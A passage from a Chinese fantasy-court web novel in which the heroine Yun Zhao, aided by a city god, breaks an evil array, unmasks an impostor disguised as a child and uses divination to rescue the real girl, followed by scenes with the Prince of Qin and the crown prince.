镞身锈迹片片剥落,露出下方暗金底色,其上铭刻的细密符文次第亮起,光芒流转,金光大盛,直冲云霄!
一道挺拔威严、周身萦绕着淡淡金色光晕的人影显现出来!
来人一身朱红色镶黑边的官袍,面容英武刚毅,腰间悬着一方散发着莹莹清光的城隍印。
正是城隍柳擎天!
“何方妖孽,敢在本官辖地兴风作浪!”柳将军嘴唇未动,声如洪钟。
云昭拱手:“城隍明鉴,清水县有人布下‘九阴转生阵’,欲献祭全县生魂。
云昭力薄,难以兼顾破阵与护民,恳请将军出手,稳住此地风水龙脉,护佑百姓周全。”
柳将军虚影环顾四周,目光如电,扫过衙门内隐现的森森鬼气。
“邪阵已启,若任其运转,酉时必成。”柳将军沉声道,
“本官可借此地积累之香火愿力与官印权柄,暂时镇住风水眼,护住县衙与周边三百户。但阵眼不破,终是徒劳。”
“云昭明白!”云昭毫不犹豫,
“请尊神赐予一炷香时间,我即刻前往东北阵眼所在,必将其破除!”
“且慢。”柳将军虚影抬手,“阵眼所在,必是至阴至秽、凶险万分之地。
尔虽修为不俗,但孤身前往,凶多吉少。柳某分一缕神念相随,可护一时周全。
但此法消耗甚巨,需在一炷香内破阵,否则神念消散,吾亦难再助。”
云昭颔首:“云昭谨记,多谢尊神襄助!”
柳将军虚影不再多言,抬手一指,一道金光自他指尖射出,没入云昭手中箭镞。
箭镞在手,沉坠犹似金石,温热如冬日暖阳,让人灵台一阵清明。
与此同时,柳将军左手虚按向下方县衙地面,官袍无风自动,口中诵念神咒,声音恢宏,引动天地之力:
“乾坤正气,护佑斯民。今有邪佞,乱法祸津。柳氏擎天,执掌此境,借万民虔诚之愿力,镇!”
最后一个“镇”字出口,声震四方!
以他虚影为中心,一圈淡金色的光罩如倒扣的金碗般迅速扩张,顷刻间将整个清水县尽数笼罩在内!
光罩之上,隐隐有金色符文流转,散发出的气息中正平和,却又坚不可摧。
光罩之内,阴煞之气如沸汤泼雪,迅速消融。
门槛处那个诡异的“桃儿”发出凄厉尖啸,身体剧烈抽搐,黑气自七窍中溢出。
天空中,雹云被金光驱散,重新露出青天。
远处县城上空的灰黑怨气,虽未完全消散,却也凝滞不动,不再蔓延。
“速去!”柳将军虚影喝道,身形已淡去三分。
云昭身形如离弦之箭,直朝着县城东北方向疾掠而去。
速度之快,如有神助,远超她平日极限。
柳将军看向光罩内惊魂未定的周文焕等人,缓缓道:
“尔等不必惊慌。云姑娘已去破阵,某在此坐镇,邪祟难侵。”
周文焕等人这才回过神,纷纷跪倒在地,叩首跪拜。
周文焕声音哽咽:“多谢城隍老爷显灵!下官代清水县百姓,叩谢尊神大德!”
其余衙役也连连叩首,泣不成声。
柳将军却摇了摇头:“莫急谢本官。云司主持信物召请,是以身承因果。
此番若成,救的是一县生灵,功德无量;若败……她首当其冲,魂飞魄散亦有可能。
尔等平安,系于她一身肝胆。”
众人闻言,皆露骇然。
话音未落,东北方向突然传来一声震天巨响!
紧接着,地动山摇,整个清水县城仿佛都颤了三颤。
笼罩县衙的金光护罩剧烈波动,柳将军虚影闷哼一声,身形又淡去两分。
“姑娘这是成了?!”雪信惊喜道。
柳将军虚影却神色凝重:“阵眼已破,但……”
他猛地抬头,看向县城上空——
那原本凝滞的灰黑怨气,此刻竟疯狂旋转起来,形成一个巨大的漩涡。
漩涡中心,隐隐有血色雷光闪烁。
柳将军话未说完,东北方向又是一声比先前更剧烈的**!
这一次,伴随**声响起的,还有一道清越凤鸣之音,穿透云霄。
金光护罩外,那些原本被**的阴煞之气,如同失去了源头,开始迅速溃散。
天空中的怨气漩涡也骤然崩解,血色雷光湮灭无踪。
紧接着,众人感觉到脚下大地传来温暖的脉动——
那是被邪阵压抑的地气,重新开始流动。
笼罩县衙的金光护罩缓缓收敛,最终化作一点金芒,没入地面。
柳将军的虚影已淡至透明,却对众人微微颔首:“邪阵已破,根源尽除。清水县……保住了。”
话音落下,虚影彻底消散。
天地之间,只留下一缕淡淡的檀香气息,证明神明曾临。
几乎同时,一道素白身影自东北方向
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疾掠而回,轻盈落在县衙门前。
云昭鬓发散乱,衣襟染尘,唇角还挂着一丝未擦净的血迹。但那双眼睛依然清亮锐利。
手中那枚青铜箭镞已黯淡无光,布满裂纹。
“姑娘!”莺时雪信冲上前。
云昭摆摆手,示意无碍。
她走到柳将军虚影消散处,躬身一礼:
“晚辈云昭,谢过城隍大人倾力相助。将军神威,护佑一方,晚辈感佩于心。”
“信物之力已耗尽,留之无用矣。”
空中传来柳将军缥缈的余音,这一次,只入云昭一人耳中。
“云昭,此番你破假阵眼、识真杀局,救了一县生灵。
更以凤鸣正气破其最后反扑,救下一县生灵,此乃大功德,天地自有感应。
但柳某有一言相赠:
眼中所见,未必是真;
心中所执,许是迷障。”
云昭沉默,咀嚼着这番话中的深意。
柳将军的声音更轻了,仿佛随时会散在风里:
“云昭,你命格特殊,功德深厚,将来成就必在柳某之上。你我有缘,还会再见。”
余音袅袅,终至不闻。
“云司主!”周文焕的声音将她唤回神,
“您、您快看看桃儿那孩子!她、她好像……不行了!”
云昭转身,看向门槛处。
那个诡异的“桃儿”此刻蜷缩在地上,身体不停抽搐,口中发出痛苦的呻吟。
她周身黑气已散尽,又变回那个浑身血污、楚楚可怜的小女孩模样。
几个衙役面露不忍,有人已想上前搀扶。
“别动。”云昭冷声道。
她走到“桃儿”身前,蹲下身,伸出两指捏住女孩下颌,迫使她抬起头。
四目相对。
女孩眼中蓄满泪水,满是痛苦与哀求。
云昭忽然笑了:“戏演得不错。可惜……假的就是假的。”
“桃儿”瞳孔一缩,随即哭得更可怜了:“姐姐……疼……桃儿好疼……”
“疼?”
云昭松开手,从袖中取出一支三寸长的金针,针尖在阳光下闪着寒芒,“那我帮你治治。”
话音未落,金针已迅如闪电,刺入“桃儿”眉心!
“啊——!”凄厉的惨叫划破空气。
那根本不是孩童的声音,而是尖厉扭曲、仿佛金属摩擦般的怪响。
“你……你用的什么妖法!”
“桃儿”嘶吼,试图挣脱,却被云昭另一只手按在肩井穴上,浑身力气如潮水般退去。
云昭手下加力,金针又入半分:“这是医术正统,专治反骨。”
“咯啦啦……”
一阵令人牙酸的、细微却密集的骨骼摩擦声,从“桃儿”的体内传来!
“呃啊——!”
这一次的惨叫,不再是孩童的尖锐,而是一个成年女子痛苦压抑的嘶吼!
只见“桃儿”那瘦小的身体,如同被抽去了支撑的皮囊,开始剧烈地颤抖、扭曲、膨胀!
仿佛有一只看不见的手,正在将她蜷缩压缩的骨骼一寸寸扳回原状!
不过短短两三息工夫,趴在门槛处的,变成了一个看起来约莫二十出头的女子。
她的眼神,再无半分孩童的纯真无助,只剩下功败垂成的恼怒与痛苦——
她被云昭强行中断缩骨状态,骨骼归位带来的反噬,绝不轻松。
周文焕失声,“她、她不是桃儿?”
王猛更是目瞪口呆,看着自己胸前那五道火辣辣疼痛的伤口——
这竟然是一个缩骨易容的成年女子所为?
“当然不是。”云昭冷笑,“真正的桃儿,恐怕在来清水县的路上就已经遇害了。”
地上的女子急促喘息着,她抬起头,狠狠地瞪着云昭:
“师父神机妙算,早就料到你会来!
云昭,世间蠢人何其多,你救得过来吗?
你救得了一县,救得了天下吗?
天下欲念横流之处,皆是师父的道场!
师父说了,你逆天而行,注定不得好死!”
第289章 命不该绝
“是吗?”云昭手腕一翻,又是一针,刺入女子颈侧要穴。
“唔——!”女子喉间发出一声短促的闷哼,口中溢出更多的鲜血。
“你……杀了我……”女子口中溢出鲜血:“师父……一定会为我报仇!你会死得比我还惨……”
云昭神色淡漠,却字字诛心:
“你这位师父,行事狠辣,算无遗策。他既然舍得送你来,就没打算让你活着回去。”
“你胡说!”女子瞳孔猛地一缩,厉声道:
“师父……师父他许诺过我,事成之后,便传我真正的长生秘法……你休想挑拨离间!乱我道心!”
“长生秘法?”云昭眼中的嘲讽更浓,“若真有这等秘法,他自己为何不长生?”
这话说的女子眼神怔忪。
云昭紧接着道:“恐怕连你都不知道,你的师父仓促启动这邪阵,就是为了给他自己疗伤。”
女子猛地抬头,眼中尽是不可置信。
云昭不紧不慢,一句接一句道:“他的伤,是我打的。
他现在自身难保,这才狗急跳墙!
他不告诉你,再正常不过。毕竟他也没指望你能活着带回去好消息。
瞧瞧你现在的样子,筋脉受损,元气大伤,到头来却为他人作嫁衣。值得吗?”
“你懂什么!我本是琅琊郡谢氏嫡支之女!
若非自幼先天不足,三焦玄关闭塞,妨碍了我修道登仙之路——
以我谢灵儿的天赋心智,今日被困在此地、任人折辱的,就该是你!
我的本事,绝不会在你之下!”
云昭自幼长在青州,回京城还不到半年光景,对那些盘根错节的世家名号确实不甚了然。
但琅琊郡她却是听说过的。
死在她手上的永熙王萧玦,生前的封地正是琅琊郡。
她眸光微闪。
看来,当日萧玦身后那走脱的邪师,十有**也是府君的亲信。
一旁的周文焕却是浑身一震:“琅琊谢氏?”
他祖籍便在琅琊郡,虽非高门,却对当地豪族如数家珍。
此刻见云昭目光扫来,连忙收敛惊容,低声快速解释道:
“司主明鉴,这琅琊谢氏,确非寻常门户。
与河东薛氏,清河崔氏,都是底蕴深厚的世家。”
他顿了顿,声音压得更低,带着一丝复杂的感慨,
“便是已故的元懿皇后,亦出身于曾经与之齐名的‘兰陵穆氏’。”
周文焕说这些的时候,女子愈发得意。
看吧,即便落难至此,她“谢灵儿”三字代表的尊荣,依旧能震慑这些蝼蚁!
“司主。”莺时轻轻眨了眨眼,故意道,“奴婢从前在公主府当差,倒也见过不少世家小姐。
即便是那些家道中落的,衣着用度或许简朴,但日常细节都是极讲究的。”
说到这,她目光缓缓扫过女子光秃秃的指甲,小声说,“奴婢见识浅,总觉得她不太像世家出身的千金小姐。”
“贱婢!你懂什么!”谢灵儿如同被踩了尾巴的猫,不顾金针锁穴的剧痛,挣扎着抬起头。
她瞪着莺时,嘶吼道:“没眼色的东西!你见过真正的月华锦吗?一寸一金,光润如水!
你摸过暖香玉吗?触手生温,冬暖夏凉!
我们谢家鼎盛之时,库中珍宝堆积如山!
我幼时玩的九连环都是赤金嵌宝石的!岂是你这等贱婢能想象的!”
莺时没做什么夸张的表情,只是微微撇了撇嘴角,像是根本不信谢灵儿所言。
云昭也不为所动,淡淡道:
“空口无凭。你既能用缩骨功假冒桃儿,谁知你脱口而出的姓名身世,又是从哪位世家小姐那儿偷来的。”
“你——!”谢灵儿被这对主仆气得浑身发抖。
云昭不再与她纠缠,直接下令:“将此人捆好,押往大理寺。
听说白大人新得了一套西域来的刑具,构造精巧,别具匠心,专治各种嘴硬不招。
正好,让白大人好好‘招待’一下我们这位身世成谜的‘谢氏千金’。”
“你敢——!”谢灵儿高声疾呼,
“我自幼与大皇子有婚约在身!你们谁敢动我——!”
云昭听到此节,指尖微蜷,面上却无半分殊色。
奈何,方才云昭和莺时主仆两个一唱一和,现在不论谢灵儿说什么,除了周文焕面露惊疑。
周围包括王猛在内的衙役侍从,都将她当成疯子。
没人理她又在说什么疯话。
一旁的王猛早已按捺不住,闻言立刻找来结实的麻绳,上前捆绑。
站在一旁的雪信,将一张符纸贴在捆好的麻绳上,避免她走脱。
云昭似笑非笑:“放心,用不了多久,你师父也会进去陪你。
他如今黔驴技穷,再有妄动,便是自投罗网之时!”
“你敢辱我师父!我师尊神通盖世,定会将唔……”
谢灵儿还想破口大骂,王猛已不耐烦,一把扯下自己搭在肩头的汗巾,狠狠塞进了谢灵儿大张的嘴里。
“唔!呕——!”
浓烈的汗臭味混合着尘土气息直冲口鼻,呛得谢灵儿胃里翻江倒海,好悬没当场吐出来。
王猛恶狠狠地瞪着她:“桃儿多乖巧的一个丫头!被你这毒妇害**!司主大人,绝不能轻纵了她!”
云昭看着谢灵儿听到这话,眸光微闪,那并非纯粹的得意或狠毒,似乎还有一丝极淡的迟疑。
她心中不由一动。
思忖片刻,云昭看向周文焕:“桃儿的外祖父宗老先生现在何处?”
周文焕连忙回禀:“回司主,宗主簿就在衙内。
方才邪阵初破,下官见老先生悲恸过度,昏厥过去,已命人将他抬到偏厅,喂了些安神补气的汤药。
方才底下人来报,刚醒转不久,只是精神仍旧萎靡。”
“带他来,我有话问。”
很快,一名年约五旬,身着文士袍的老者,被两名衙役搀扶着,踉跄而来。
正是县衙宗主簿。
他显然受了巨大惊吓,又痛失外孙女,此刻犹自惊魂未定,面色灰败。
向云昭行礼时,手都在无法控制地颤抖。
云昭放缓了语气,直接问道:“宗老先生,可知桃儿的生辰八字。”
宗主簿闻言一愣,浑浊的老眼里满是茫然与悲痛,不明所以。
周文焕却隐隐猜到什么,心脏猛地一跳。
他连忙上前搀住老者胳膊,急声催促:“老宗!快!仔细想想!
司主大人神通广大,这般问,许是还有办法寻到桃儿一线生机啊!”
宗主簿死寂的眼中,骤然
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迸发出微弱的光芒。
他干裂的嘴唇哆嗦着,闭上眼,努力定神。
片刻后,他才用沙哑得不成样子的声音道:“桃儿……是八年前,腊月十八生的。
那日天降大雪……时辰,老汉记得清楚,接生婆说是……寅时初刻,天还漆黑,鸡刚叫头遍。”
云昭心中默算。八字排开,她眸光陡然一凝!
此命造,日主乙木,如风中之竹,冬日之花,扎根于冻土寒金之中,生机受抑,确有幼年坎坷、体弱多病之象。
然而,关键在这日柱乙卯与时辰戊寅!
这绝非早夭薄命之相,恰恰相反,此命如石缝中的草籽,看似被重压,实则内蕴蓬勃生机。
只待一缕春风化开冻土,便可破石而出,茁壮成长!
尤其日柱乙卯,乙木为阴,柔韧非凡,最是耐得风霜。
这丫头,命不该绝于此地!
云昭豁然抬眸,眼中精光湛然:
“取六枚铜钱来!要常在手边流通,沾染人气的那种。”
立刻有衙役飞奔而去,很快取来六枚磨损得光滑的铜钱。
众人屏息凝神。
只见云昭将铜钱合于掌心,敛目静心。
她将意念集中于桃儿生辰八字与此刻方位,默祷片刻。
而后手腕轻扬,将铜钱掷于面前一块较为平整的青石板上。
叮当脆响,铜钱滚动落定。
云昭俯身细看卦象,又抬指掐算方位五行,片刻后,她猛地站直身体:
“桃儿没死!”
“什么?”
“当真?!”
周文焕和宗主簿同时惊呼。
云昭抬眸看向被堵着嘴、捆成一团的谢灵儿:“你一心慕道求长生,最是忌讳沾染因果。
方才在大阵之中,被你师父驱役,你伤了多少性命自是无所畏惧。
只你一个人时,你不敢直接动手**,沾上命债。
你只是把桃儿丢在一个地方,任她自生自灭。
她若冻饿而死,是老天收她,与你无干;
她若侥幸存活,便是她命不该绝,也算你的‘仁慈’了。是也不是?”
她不再看谢灵儿骤变的脸色,转而看向周文焕和众衙役:“诸位细想——
清水县城东北方向,可有背山临水,有简陋房屋或遮蔽处。”
王猛一拍脑袋,声如洪钟:“有啊!就是老鸦岭!
那山岭北面有个避风的山坳,坳里早年间有个猎户搭的茅草屋,早就废弃了,但遮风挡雨还行!
旁边正是一条从老鸦岭上流下来的小溪,冬天也不完全冻住!”
“唔!唔唔唔——!”被死死堵着嘴的谢灵儿,此刻双眸圆瞠,不可思议地瞪着云昭。
云昭故意将手中的铜钱再次轻轻抛起,接住,发出清脆的撞击声。
她看着谢灵儿,摇了摇头,语气里带着一丝近乎遗憾的嘲弄:
“坎为水,为隐伏;艮为山,为止;巽为风,为入,亦为草木……
再结合八字日主乙木趋艮,求生向东北,有山有水有草屋。
这是最基本的六爻结合奇门方位推断。
你师父传你邪法,诱你卖命,居然连这些入门的玄门道理,都未曾教过你一二吗?”
云昭一字一句,宛如剜心:“看来,他养你,当真只如养一条用完即弃的狗。”
第290章 我捡了一个人
“呜……!”
谢灵儿不肯相信,喉咙里发出野兽般的哀鸣。
金针锁喉,汗巾塞口,绳索加身,符箓镇灵……
她受的所有痛苦磋磨,都不及云昭这几句轻描淡写。
“王猛!”云昭不再耽搁,清声喝道。
“卑职在!”突然被点名,王猛浑身一个激灵,挺直腰板,应声如雷。
“你立刻带五名得力衙役,骑快马,带上伤药、厚毯和清水干粮,即刻出发赶往老鸦岭!”
“是!”王猛精神大振,点了几个人,牵过马匹就要出发。
几人备上火把,绳索,伤药等物,上马出发,直奔东北方向。
且说王猛等人一路不敢有丝毫停歇,凭借着对清水县的熟悉,一路疾驰直奔老鸦岭。
到达山脚后,弃马徒步,攀上山坳。
果然,在那处几乎被荒草淹没的废弃猎户茅屋角落,寻到了奄奄一息的夏桃儿!
小姑娘被粗糙的麻绳捆着手脚,嘴里塞着破布团,蜷缩在冰冷的茅草堆里,气息微弱。
但好在,胸口尚有微弱起伏,人还活着!
王猛这铁打的汉子,见状也红了眼眶。
几人小心翼翼剪断绳索,取出她口中布团,用带来的厚毯将她紧紧裹住,又喂了些清水。
桃儿在温暖的包裹中微微动了动,缓缓张开眼。
见到熟悉的面孔,微弱地喊了一声“王叔”。
王猛不敢耽搁,将她牢牢护在怀中,一行人火速下山,上马疾驰而回。
回到县城,早已接到消息等候的大夫立刻诊治。桃儿主要是冻饿过度,受了惊吓,这才昏迷。
灌下一碗参汤合着安神压惊的药汁后,小姑娘终于悠悠转醒。
看到外祖父,“哇”的一声哭了出来,抽噎许久,才又力竭睡去。
大夫说好生将养一段时日,便无大碍。
此是后话。
且说王猛等人离开县衙不久,远方官道尽头,便传来一阵急促如骤雨的马蹄声。
尘土飞扬间,一队约二十人的黑衣骑士,如一道黑色铁流,席卷而至。
为首之人,白衣胜雪,身姿挺拔,正是秦王萧启。
他难得穿白,墨发半挽,远远瞧着,眉目冷峭,薄唇轻抿,一双黑眸幽幽望着云昭的方向,说不出的俊美卓尘。
胯下那匹“踏雪”通体如墨、四蹄雪白,发出一声嘹亮长嘶。
马儿尚未完全停稳,萧启已单手一按马鞍,利落地翻身落地,动作干净流畅,带着久经沙场的悍然。
他甚至来不及理会匆忙迎上来的周文焕等人,几步便行到云昭身前,深邃的目光将她从头到脚迅速而仔细地扫视一遍。
见她虽然面色微白,衣襟染尘,但气息尚稳,眼神清亮,除了唇角那点已干涸的血迹外,周身并无明显伤痕。
萧启紧绷的唇线几不可察地松弛了一丝,眉宇也稍稍舒展。
他喉结微动,似乎想说什么,最终只化作沉沉的几个字,带着不易察觉的喑哑:“……无事便好。”
倒非他今日不想跟在云昭身侧。
只是陛下万寿节在即,太子萧鉴闭守东宫,诸般繁杂事务,泰半落到了他这个亲王肩上。
这几日,他亦是案牍劳形,与各方周旋,忙得脚不沾地。
接到清水县异动的密报时,他正在宫中与户部侍郎核算节庆用度,当即抛下一切,点了亲卫便疾驰而来。
话刚出口,他锐利如鹰隼的视线已敏锐地落到一旁被捆成粽子的谢灵儿身上,眼中寒光一闪。
云昭知他关切,亦不赘言,将清水县邪阵始末,简明扼要地讲述了一遍。
萧启静静听完,面上无波无澜,可那双深不见底的眸子里,掠过一丝森寒厉色。
他看了一眼犹自眼神涣散、隐含不甘的谢灵儿,对云昭道:
“此人牵连甚广,背后之师更是心腹大患。
送入大理寺虽无不妥,但白羡安擅长刑律,对付此等身负邪术、心志被惑之辈,恐需另辟蹊径。”
他顿了顿,声音压低,“我府中有一人,专司刑讯探查,精擅摄心、问魄之术,或许可以派上大用场。”
“哦?”云昭挑眉看了他一眼,“殿下身边,何时招徕这等能人异士?”
云昭鲜少流露出如此生动的神色,且睇着萧启的目光,似审问又似不信,颇有一种少女的明媚娇憨。
萧启心头一跳,尚未想明白自己怎么就心虚了,已然下意识撇开视线。
云昭瞧他这副模样,心念电转,面上故作不知:
“也好。此女狡诈狠毒,身负邪功,心志扭曲。需万分谨慎,严加看管。便交由殿下处置罢。”
“放心。”萧启颔首,抬手做了个手势。
两名黑衣侍卫立刻上前。
他们动作干脆利落,毫无怜香惜玉之意。
一人提起谢灵儿,另一人迅速检查了她喉间金针位置,确保无误后,又加固了绳索。
并取出她口中汗巾,换上了一枚特制的金属口衔,防止其咬舌或念咒。
整个过程不过瞬息。
随后,两人便将瘫软的谢灵儿迅速带离现场,安置到一辆早已备好的、有着符纹加固的漆黑马车中。
“此地后续,安抚受惊百姓、修缮被破坏的屋舍街道、抚恤伤亡等一应事宜,”
萧启转向周文焕,语气恢复了惯常的威仪,
“周县丞可拟个章程,我会留两名属官并一队兵士在此协助,一应所需,报由秦王府支应。”
“下官遵命!叩谢王爷!叩谢司主!”周文焕感激涕零,连忙躬身领命。
萧启的目光重新落回云昭脸上:“你脸色不佳,此地既已事了,先随我回去。好生调息。”
云昭确实感到一阵深沉的疲惫从四肢百骸弥漫开来。
一路舟车劳顿,窥破府君风水做局,与谢灵儿斗法、破阵、推算,乃至寻找夏桃儿的所在……无不耗费心神真气。
她没有逞强,轻轻点了点头。
一行人不再耽搁,踏上了返回京城的官道。
出了清水县地界,官道渐渐宽阔平坦,行人车马愈发稀少。
西斜的落日挣扎着将最后的光辉泼洒向天际,将层层叠叠的云霭染成一片绚烂至极的金红。
盛夏傍晚的微风拂面而来,不再带着午时的燥热。
反而添了几分清爽,轻轻吹拂起云昭散落颊边的几缕发丝,痒痒的,也似吹散了一些积压在胸口的沉闷郁气。
马背上,云昭望着前方蜿蜒至天际的道路,忽然开口:
“萧承渊。”
“嗯?”萧启微微侧首。
“教我骑马。”云昭转过头,直视着他深邃的眼眸,“像你这样骑。我想学。”
萧启迎上她的目光。
他心中微微一动,几乎没有任何犹豫:“好。”
他答得干脆利落,没有半分质疑或劝诫。
萧启轻轻收紧缰绳,让神骏的“踏雪”速度先慢下来,变成一种极富韵律的悠闲踱步。
“欲速则不达。骑马先求稳,稳中方能求快。”他的声音低沉而清晰,穿透微风,
他讲得极其细致,甚至伸手虚点云昭的腰背、手臂位置,纠正细微的偏差。
云昭学的认真,她悟性非凡,很快便抓住了要领,身体逐渐放松,与座下马匹的节奏契合。
“感觉如何?”萧启控着“踏雪”。
云昭感受着迎面而来的风,
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唇角不自觉地上扬,难得露出一抹发自内心的浅笑:
“比坐在马车里自在多了。”
萧启的目光落在她的唇上,落在她被风吹拂起发丝、显得格外生动的侧脸上。
心底忽而生出一个不合时宜的念头。
他希望脚下这条回京的官道,能再漫长一些。
临近城门,人流渐多,速度不得不放缓。
萧启才仿佛忽然想起什么,语气平静地开口道:
“对了,赵悉说,他没听你的话,这几天遇到个**烦,向你求救。”
云昭闻言一怔,倏然转头看他:“你怎么不早说?”
萧启目视前方逐渐接近的城门,侧脸在渐浓的暮色中显得平静无波,语气更是淡然:
“方才,你想学骑马。”
云昭:“……”学骑马能有救命重要?
似乎察觉到她的无言,萧启才慢条斯理地补充了一句:“放心,他那个人命好,死不了。”
云昭:“……”
她怎么觉得他好像有点嫉妒赵悉?
然而,马儿还未行至京兆府前街,斜刺里一辆青帷小车毫无征兆地疾驰而出,竟是不管不顾,直直拦在了云昭马前!
踏雪发出一声嘶鸣,前蹄高高扬起!
好在萧启颇擅御马,勒紧缰绳的同时喊了一声踏雪的名字,这才避免了马儿受惊,无故踩踏。
他眸光骤冷,抬眼望去。
那小车普普通通,并无徽记,但赶车的老仆面色惶急,不住朝紧闭车门的车内张望。
“何人拦路?”随行的王府侍卫已按刀上前,厉声喝问。
车门就在这时,“唰”地一声被从里用力掀开。
一张熟悉却苍白的脸探了出来。
女子额角鬓发被汗水浸湿,紧贴在肌肤上,眼中盛满了惊惶与无助,宛如一只受惊的小鹿。
竟是多日未见的宜芳郡君李扶音。
夏日暑热,她显然已在车门紧闭的马车内等了许久,脸上细密的汗珠在暮色余晖下闪着微光。
云昭心头微诧,翻身下马,几步走近车前。
“阿昭……”李扶音声音发颤,甚至带上了哭腔。
未等云昭开口,她已急急伸出手,汗湿的手指紧紧攥住了云昭的手。
她声音压得极低,气音中带着惊魂未定的恐惧,“我……我捡了一个人……”
她顿了顿,像是耗费了极大勇气才说出下一句,眼眶瞬间红了:
“他……他快要**!浑身都是血……我不敢声张,更不敢贸然去找寻常大夫!”
“……阿昭,我知道这很唐突,可你能不能,救一救他?我……我只信得过你了!”
说话间,李扶音已微微侧开颤抖的身子,另一只手死死揪住车帘,指节泛白。
云昭心中疑窦丛生,顺着她让开的方向,朝那光线昏暗的车厢内望去。
一股混杂着浓重药味的血腥气扑面而来。
车厢底板上铺着的锦褥已然凌乱。
一片狼藉之中,静静躺着一个男子。
他双目紧闭,长睫如鸦羽般垂落,唇色淡得几乎与肤色融为一体,是一种惊心动魄的苍白。
那张俊美如画的脸,此刻沉寂如冰雕,了无生气。
竟是裴琰之!
他仅着一件单薄的月白外衫,衣料已被汗水与血渍浸透。
也不知他是被何物所伤,手臂,双腿……周身都布满了细密交错的伤痕!
像是被极细的丝线反复切割、勒绞所致。
每一道伤痕都不深,却皮肉翻卷,细小的血珠正从那些裂口中断续渗出。
那情形瞧着既凄惨又可怖,难怪李扶音捡到了人,却不敢声张!更不敢轻易去找寻常大夫诊治!
第291章 他不是姜珩
太子萧鉴这几日心气很是不顺。
得南华郡主陆倩波投怀送抱,按说该是件春风得意的大喜事。
尤其,再过些时日,便是父皇的万寿圣节。
今年更是不同,父皇有意将万寿节与“文昌大典”同日举行,彰文治,贺圣寿,必是普天同庆、四海来朝的盛大场面。
若能在那样普天同庆的日子里,由父皇亲自颁下圣旨,宣布册立南华郡主为太子妃……
岂不是锦上添花,喜上加喜,更显他这位太子圣眷隆恩?
那日他怀着几分志在必得的欣喜进宫,话还未说完,皇帝原本还算温和的脸色便沉了下去。
紧接着,便是兜头一顿训斥!
说他“心思浮夸,不堪大任”,直将他骂得灰头土脸,冷汗涔涔地退出了紫宸殿。
父皇就这么见不得他好?
时值盛夏傍晚,几尾肥硕的红鲤在荫凉处懒洋洋地摆尾,漾开一圈圈涟漪。
本该是心旷神怡的景象,落在他眼里,却只觉得那水面晃得人心烦。
“殿下心中郁结,易伤肝脾。且饮杯清茶,静静心。”
一只白皙修长的手执起小巧的茶壶,壶嘴微倾。
琥珀色的水线注入雨过天青瓷盏,热气氤氲,茶香清洌。
太子有些烦躁地抬起眼,看向坐在对面的人。
是姜珩。
有些日子不见,这位昔日的“兰台公子”……似乎有些不同了。
具体何处不同,萧鉴一时也说不上来。
容貌依旧是那张无可挑剔的俊颜,眉目如画,肤色冷白,穿着一身淡青色的直裰,更衬得人如修竹,风姿清举。
从前世人皆赞姜珩清冷出尘,不染凡俗。
但在太子眼中,始终觉得姜珩是个中看不中用的绣花枕头,眼高手低,迂腐清高,蠢货一个。
从前愿意抬举他几分,无非是看中他是礼部尚书的嫡子,姜绾心的嫡亲兄长。
可姜家接连出事,尚书府被摘了御赐匾额,声名扫地。
姜绾心也不过是外室所出,福星之名成了天大笑话。
若非玉衡**和那位神秘的府君一再保证,姜绾心命格确能旺他。
他早就将这对无用的姜家兄妹抛到九霄云外了。
然而今天的姜珩,眼神深邃平静,举止间带着一种说不出的从容与笃定。
仿佛经历过一番彻底的洗涤与蜕变,整个人由内而外焕发出一种内敛的光华。
依旧是那副清冷皮囊,内里的气质却迥然不同,竟让太子一时有些不敢轻视。
“殿下,可在听我说话?”姜珩放下茶壶,唇角噙着一丝极淡的、仿佛洞悉一切的笑意,打断了太子的怔忡。
太子猛地回神,端起茶盏抿了一口,滚烫的茶汤让他蹙了蹙眉,语气仍有些烦闷:“你说。”
姜珩并不介意太子的态度。
他缓缓道:“请殿下细想,陛下为何会乐见秦王迎娶云昭为王妃?”
太子脸色倏然一沉,捏着茶盏的手指微微用力。
这话简直是明知故问,戳他心窝子!
萧启是那个女人的儿子,就凭这一点,父皇永远觉得亏欠他,偏心他!
云昭出身再微妙,能力再出众,只要萧启喜欢,父皇恐怕都会顺水推舟!
“哼,”太子从鼻子里哼出一声,带着怨气,“还能为何?偏心罢了!”
姜珩却轻轻摇了摇头,那姿态,竟有几分长者为懵懂晚辈解惑的意味。
“殿下此言差矣。陛下对您而言,是君父,血浓于水;
但对天下人而言,他首先是天子,是坐在那至高龙椅上的人。”
他顿了顿,眸光清亮,直视着太子:
“既是天子,坐拥四海,掌生杀予夺之大权,他所思所虑,首要便是这权柄的稳固,江山的承续。
对所有可能威胁、动摇、乃至分割皇权的人与事,无论亲疏,天子的忌惮之心,并无二致。
甚至,愈是亲近,可能带来的威胁愈是直接,忌惮反而愈深。”
这番话角度刁钻,却如一道锐光,劈开了太子心中层层叠叠的怨愤迷雾。
他不由侧过头,第一次真正认真地、带着探究看向姜珩。
姜珩不紧不慢,继续为他剖析:“世所皆知,秦王是先皇嫡出血脉。
陛下待他越好,越能彰显陛下仁德宽厚,乃圣主明君之风,彰显今上对先皇一脉的顾念之情。
这是‘名’,是陛下必须维护的‘君德’。
他话锋一转,目光如落在太子有些怔然的脸上:
“而殿下您,因为是中宫嫡出,名正言顺的储君,国之副贰。
随着您年岁日增,朝中自然会有大臣渐向东宫靠拢,此乃国本所系,亦是人性使然。
但在陛下看来,这便意味着东宫势力的滋长,意味着储权对君权的潜在分润与制衡。
这是‘实’,是历代君王与储君之间,难以避免的制衡与猜忌。”
“陛下对秦王,是为‘名’而安抚;对您,是因‘实’而敲打。
两者看似殊途,实则同归——都是为了皇权的稳固。”
这是太子从未深入想过的一种可能。
他自幼被立为储君,接受的是如何成为明君的教育。
总习惯觉得,父皇的一切都该是他的,父皇理应为他铺路,为他扫清障碍。
何曾想过,父皇那至高无上的龙椅,本身就会对任何靠近的人,产生天然的排斥与警惕?
此刻,姜珩的话像一道惊雷,劈开了他心中的迷雾。
许多从前想不通的关窍,此刻再想,竟有些豁然开朗之感。
他回过味儿来,眼睛微微发亮:“你的意思是说,父皇并非真心想要见弃于我,而是因为我欲求娶的女子,出身过于高贵,才引得父皇忌惮。”
“殿下聪慧,一点即透。”姜珩适时送上赞誉,语气真诚。
这马屁拍得恰到好处,既认可了太子的想法与能力,又为他指明了“错误”不在自身,而在“方法”。
太子先是感到一阵被理解的舒畅,紧接着便是豁然开朗的振奋。
再看向姜珩时,心底的轻蔑消散大半,取而代之的,是一种心悦诚服的倚重。
他心情大好,连带着看对面从容饮茶的姜珩,也觉得顺眼了许多。
甚至那清冷的姿容,都透出几分智珠在握的深不可测来。
